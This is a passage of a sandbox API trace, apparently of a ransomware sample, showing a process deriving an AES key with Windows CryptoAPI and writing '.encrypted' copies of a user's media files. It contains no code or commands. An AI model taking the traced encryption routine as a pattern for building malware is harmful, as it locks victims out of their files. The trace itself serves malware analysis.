lpNewFilePointer=0xe8f3dff0c0*=0) returned 1 [0021.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0021.666] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0021.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\n", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0021.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\n", cchWideChar=55, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 55 [0021.666] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40513b0*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40513b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x36, lpOverlapped=0x0) returned 1 [0021.666] CloseHandle (hObject=0x1fc) returned 1 [0021.668] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.668] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.668] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.668] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.668] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.669] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0021.669] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.669] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0021.670] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0021.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178400, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0021.670] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0021.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0021.671] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.671] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.671] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0021.671] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.671] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.671] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0021.671] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.671] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0021.671] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0021.671] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.672] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0021.672] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.672] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.672] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.672] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0021.673] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.673] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.673] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.673] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.673] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.673] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.673] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.673] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.674] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.674] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.674] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.674] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b660, dwDataLen=0x20, dwFlags=0x1) returned 1 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.674] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.674] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.674] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.675] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.675] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.675] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0021.675] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.675] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0021.675] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.677] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.m4a" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\jbm6x5wvpb3d4o.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0021.677] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.677] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0021.677] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.677] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.677] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.677] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar")) returned 0x10 [0021.679] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\jbm6x5wvpb3d4o.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 